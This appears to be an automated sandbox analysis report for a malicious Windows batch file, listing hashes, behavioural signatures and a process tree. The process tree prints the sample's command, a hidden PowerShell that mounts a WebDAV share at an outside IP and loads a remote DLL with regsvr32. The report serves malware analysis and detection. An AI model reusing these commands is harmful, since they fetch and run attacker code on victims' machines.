Analysis

  • max time kernel
    100s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    19-07-2024 07:24

General

  • Target

    25527102621802228191.bat

  • Size

    2KB

  • MD5

    64a999db753cac5675bd0ba4e6d32dbe

  • SHA1

    cbd18a9c769afb6c93ee56fbed73539ebf816991

  • SHA256

    5b7bb58e502ea2745ff8eb8b7d265563603c9323c60e915c68522b0fdc8c989c

  • SHA512

    d6fed039be7a93103c144c842c3afe2ab7192c868fa312f497cc690c3118a99559068234c175b701389a72660c7667453558937f9036a24a321264eb9f6d1c1c

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\25527102621802228191.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1496
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\14326219727366.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3020
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2700
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\14326219727366.dll
          3⤵
            PID:2968

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/3020-23-0x000000001B690000-0x000000001B972000-memory.dmp

        Filesize

        2.9MB

      • memory/3020-24-0x0000000001E00000-0x0000000001E08000-memory.dmp

        Filesize

        32KB